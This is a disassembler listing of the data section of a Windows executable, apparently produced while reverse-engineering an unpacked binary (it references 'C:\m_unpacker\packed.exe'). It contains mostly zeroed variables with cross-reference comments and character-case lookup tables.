dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
